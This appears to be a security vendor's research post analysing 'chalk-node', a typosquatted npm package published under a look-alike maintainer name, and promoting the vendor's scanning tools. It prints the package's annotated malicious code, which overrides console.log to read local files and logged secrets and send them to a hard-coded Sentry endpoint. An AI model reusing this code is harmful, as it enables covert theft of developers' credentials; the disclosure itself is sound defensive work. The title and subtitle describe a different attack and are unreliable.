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Quasar RAT Disguised as an npm Package for Detecting Vulnerabilities in Ethereum Smart Contracts
Socket researchers uncover a malicious npm package posing as a tool for detecting vulnerabilities in Etherium smart contracts.
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Research
Kirill Boychenko
October 31, 2024
Imitation is not always flattery. Typosquatting, an age-old method of mimicking popular package names, now extends to typosquatting names of the legitimate package authors. A threat actor created the username “sindresrohus”, slightly altering “sindresorhus” by swapping two letters to create an illusion of legitimacy. Using this deceptive identity, the copycat published a backdoored package, chalk-node
, aiming to infiltrate the projects of unsuspecting developers.
Sindre Sorhus (sindresorhus) is a prominent open source developer known for maintaining more than a thousand popular packages, including chalk
– a widely-used npm library for styling terminal text. Sindre’s extensive contributions to the JavaScript and Node.js communities have earned widespread trust among developers.
Socket’s AI Scanner identified supply chain risks associated with the chalk-node
package. The Socket Threat Research Team performed a deep dive analysis of the typosquatted package and petitioned the package registry to remove the malicious chalk-node
package, but it is still live on npm at the time of publishing.
Our analysis identified that the index.esm.js
file included in the malicious package is intentionally obfuscated; it redefines the console.log
function to read files from the user’s system, leveraging Node.js file system modules like readFileSync
, existsSync
, and readdirSync
to access and exfiltrate sensitive information to an external Sentry instance.
By registering an npm account as sindresrohus (note the reversed “o” and “r” letters) and copying the real sindresorhus’ profile picture, the threat actor aims to exploit the trust placed in the legitimate maintainer. The threat actor published a malicious package named chalk-node
, typosquatting the real chalk
package. The attacker even replicated the legitimate package’s README
to further masquerade the malicious package as authentic.
The typosquatted package chalk-node
has 692 total downloads unlike the real package, which has 334 million weekly downloads, being one of the most popular packages in the npm ecosystem. The popularity of chalk
places it within the upper ranks of npm packages, often featuring in lists of the top 10 most downloaded or depended-upon packages.
In addition to legitimate chalk
package style, files and code, the copycat chalk-node
package buried additional files, such as index.esm.js
, which Socket’s AI Scanner flagged for accessing the file system, and potentially reading sensitive data. We further analyzed index.esm.js
and assess that it functions as a backdoor, reading files from the user’s system and sending sensitive content to an external service without authorization.
The threat actor obfuscated the index.esm.js
file, making it difficult to read and understand; however, by analyzing the code’s structure and patterns, we can infer its functionality. The code performs actions that compromise data confidentiality. It accesses sensitive information and makes it accessible beyond its intended scope. Specifically, it uses fs
module functions like readFileSync
, existsSync
, and readdirSync
to access the file system. It constructs file paths dynamically, targeting directories relative to the module’s location. The code reads all files in the data
directory, capturing stored credentials, configuration files, and data dumps. It overrides console.log
to intercept any output containing a colon (:
), directly targeting developers who may log sensitive information during debugging or normal operation. The exfiltrated data includes logged objects or messages containing credentials, tokens, URLs, or other sensitive information.
The index.esm.js
captures sensitive information from the file system and sends it to Sentry using Sentry.captureMessage
, which could lead to unauthorized data disclosure. The code initializes Sentry with a Data Source Name (DSN), enabling it to send data to a specific Sentry project. While Sentry is a legitimate error-tracking service, misusing it to send unauthorized data constitutes a breach of security and privacy policies.
The obfuscation and silent error handling suggest an intent to hide malicious activities, such as unauthorized data access and exfiltration. Multiple try
and catch
blocks with empty catch
clauses prevent errors from being logged or handled properly.
Below are the index.esm.js
code snippets with added comments highlighting malicious functionality and intent.
// Importing Sentry for error tracking and monitoring
import e from "@sentry/node";
// Importing necessary modules and assigning them to short variables
import { fileURLToPath as t } from "url";
import { dirname as r, join as n } from "path";
import i from "fs"; // 'i' represents the 'fs' (File System) module
// Initializing Sentry with a Data Source Name (DSN)
// Enables sending data to a specific Sentry project
let K = e; // Alias for Sentry module
const W = "captureMessage"; // Method name for sending messages in Sentry
K.init({
dsn: "hxxps://6a0d63f9f996c35a809c20ff07359934@o4505703178960896.ingest.sentry[.]io/4505703197310976",
maxValueLength: 1073741824,
tracesSampleRate: 1,
});
// Defining helper functions to obfuscate method names
const U = "read";
const L = "Sync";
const X = U + "dir" + L; // 'readdirSync' - reads directory contents synchronously
const G = (e) => "exists" + e; // Returns 'existsSync' - checks if a file exists
const V = (e) => e + "File" + L; // Returns 'readFileSync' - reads file contents synchronously
// Function to generate a timestamp string
function Y() {
var e = new Date();
return (
e.getFullYear() +
`-${String(e.getMonth() + 1).padStart(2, "0")}-${String(e.getDate()).padStart(2, "0")} ` +
`${String(e.getHours()).padStart(2, "0")}:${String(e.getMinutes()).padStart(2, "0")}:` +
String(e.getSeconds()).padStart(2, "0")
);
}
// Function to generate a random string (used as an identifier)
const Z = () => Math.random().toString(36).substring(2);
// Original console.log function preserved
const ee = console.log;
// Overriding the console.log function
console.log = function (...e) {
try {
var t, r;
ee(...e); // Calls the original console.log with all arguments
// Anonymous function to perform additional operations
(() => {
try {
// Constructing a path to the '../data' directory
var currentPath = r(t(import.meta.url)); // Current directory of the module
var dataPath = n(currentPath, (e) => e + e + e)("../"), "data"); // Navigates up three directories to 'data' folder
var files = i[X](dataPath); // i[X] is 'fs.readdirSync' - reads the 'data' directory
if (dataPath && dataPath.length > 0) {
var randomId = Z(); // Random identifier for logging
var timestamp = Y(); // Current timestamp
// Iterates over each file in the 'data' directory
for (let n = 0; n < files.length; n++)
try {
var filePath = dataPath + "/" + files[n];
// Checks if the file exists using 'fs.existsSync'
if (i[G(L)](filePath)) {
// Reads the file content using 'fs.readFileSync'
var content = i[V(U)](filePath, "utf-8");
// Sends the file content to Sentry using 'captureMessage' (Potential Data Exfiltration)
J(timestamp + `>>>${randomId}>>>0`, "" + content);
}
} catch (e) {
/* Empty catch block to silently handle errors */
}
}
} catch (e) {
/* Empty catch block to silently handle errors */
}
})();
// Checks if any of the logged arguments contain a colon ':'
if ([...e].some((arg) => -1 !== arg.toString().indexOf(":"))) {
t = Z(); // Generates another random identifier
r = Y(); // Current timestamp
// Sends the logged data to Sentry (Potentially sensitive information)
J(r + `>>>${t}>>>1>>>0`, JSON.stringify({ data: [...e] }));
}
} catch (t) {
// In case of an error, fall back to the original console.log
ee(...e);
}
};
// Freezes the console object to prevent further modifications
Object.freeze(console);
// Function to send messages to Sentry
const J = (prefix, message) => {
try {
if (-1 !== prefix.indexOf(">>>0")) {
// Splits the message if it's too long
var parts = Math.floor(message.length / 7000) + 1;
for (let i = 1; i <= parts; i++) {
var part = message.slice((i - 1) * 7000, i * 7000);
// Sends each part to Sentry
K[W](`${prefix}>>>${i}>>>` + part);
}
} else {
// Sends the entire message to Sentry
K[W](prefix + ">>>" + message);
}
} catch (e) {
/* Empty catch block to silently handle errors */
}
};
Threat actors exploit human error and trust by mimicking and typosquatting trusted authors and packages to infiltrate malicious code into applications. It is crucial to verify package and author names carefully, review third-party code, and use security tools to detect potentially malicious packages.
Socket's free GitHub app detects malicious packages and serves as your first line of defense against typosquatting and other supply chain risks like install scripts, telemetry, and known malware. It scans incoming dependencies in real-time with every pull request, instantly alerting developers via a GitHub comment if a potential typosquatted package is detected.
Enhance your security further with the Socket CLI tool, which alerts you to potential typosquatting and other security issues. Its "safe npm" feature proactively shields your machine from bad packages during npm install
. Socket wraps npm commands, running the real npm install process while analyzing results in the background — even for deeply nested dependencies. Before writing anything to disk, it alerts you to risky packages, giving you the choice to stop the install or proceed.
Install the Socket CLI:
npm install -g socket
Then, prefix npm installs with socket
to analyze them before installation:
socket npm install react
Socket for GitHub and Socket CLI integrate seamlessly into your workflow, are free to use, and can save your app or organization from the disastrous consequences of supply chain attacks using typosquatting. Install them today to prevent risky dependencies from landing in your applications.
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